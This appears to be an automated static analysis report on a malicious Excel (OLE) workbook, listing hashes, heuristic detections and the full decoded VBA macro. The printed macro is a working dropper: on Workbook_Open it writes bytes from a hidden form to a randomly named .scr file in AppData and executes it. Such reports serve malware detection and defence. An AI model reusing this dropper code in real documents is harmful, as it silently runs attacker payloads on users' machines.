Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 b8303c9629cd3efa…

MALICIOUS

Office (OLE) / .XLS

756.0 KB Created: 2018-07-05 05:58:11 Authoring application: Microsoft Excel First seen: 2026-06-21
MD5: 782ac2ef09c394a1a2ba0944f7fdf838 SHA-1: a41883c5a21d891c29f42222768b2c756ad71780 SHA-256: b8303c9629cd3efaa177fd382d68cf526aad52447bed87563a3e809fc4f00f4d
136 Risk Score

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call Shell(strProgramName, vbNormalFocus)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        path_file = Environ$("USERPROFILE") & "\AppData\" + path_dom + ".scr"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3306 bytes
SHA-256: bdf46019cdec7635414be8c4338cd6bc9eb2533e5af485cb4898a1ceb1b4b6e7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Function prosString(cb As Integer) As String
    
    Dim path_dom As String
    Randomize
    Dim rgch As String
    rgch = "efjkghiabcdlqrsxytuvwmnopz"
    rgch = rgch & UCase(rgch) & "1348906257"
    
    path_dom = "W1E2B5RV33SDS"
    
    Dim i As Long
    For i = 1 To cb
        prosString = prosString & Mid$(rgch, Int(Rnd() * Len(rgch) + 1), 1)
    Next
        
End Function



Sub WaitFo(NumOfSeconds As Long)
    Dim SngSec As Long
    Dim path_dom As String
    path_dom = "F1DF22D4B52R2dD2C1"
    SngSec = Timer + NumOfSeconds
    Do While Timer < SngSec
        DoEvents
    Loop
    path_dom = "E1F122WF42B213D1C"
End Sub





Sub loadPro(strProgramName As String)
    Dim path_dom As String
    path_dom = "14B5212FW2E21F"
    Dim strArgument As String
    path_dom = "E2WYT24B5R2EE21F"
    Call Shell(strProgramName, vbNormalFocus)
End Sub

Sub userLoadr()

    Dim row As Long
    Dim path_file As String
    Dim path_dom As String
    path_dom = "YT242B5R2V35DC1"
    path_dom = prosString(6)
    
    path_file = Environ$("USERPROFILE") & "\AppData\" + path_dom + ".scr"
     
    Dim ar() As String
    
    If Len(Dir(path_file)) = 0 Then
        ar = Split(UserForm1.TextBox1.Text, ",")
        path_dom = "d2YT42B5RV3DCu"
        Open path_file For Binary As #1
        Seek #1, LOF(1) + 1
        For row = LBound(ar) To UBound(ar)
            Put #1, , CByte(ar(row))
      Next
        Close #1
         Call WaitFo(1)
         path_dom = "d2dsY2T4B25RV3DCu"
    End If
    path_dom = "ddsdYT24B5R2V3D2Cu"
    loadPro path_file
   
    
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

    Call userLoadr
    Sheet3.Copy
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{324C4381-E1DC-4ABC-871F-69C8FC9CE573}{5DF7B990-8556-4BEF-8E10-7381669AE380}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False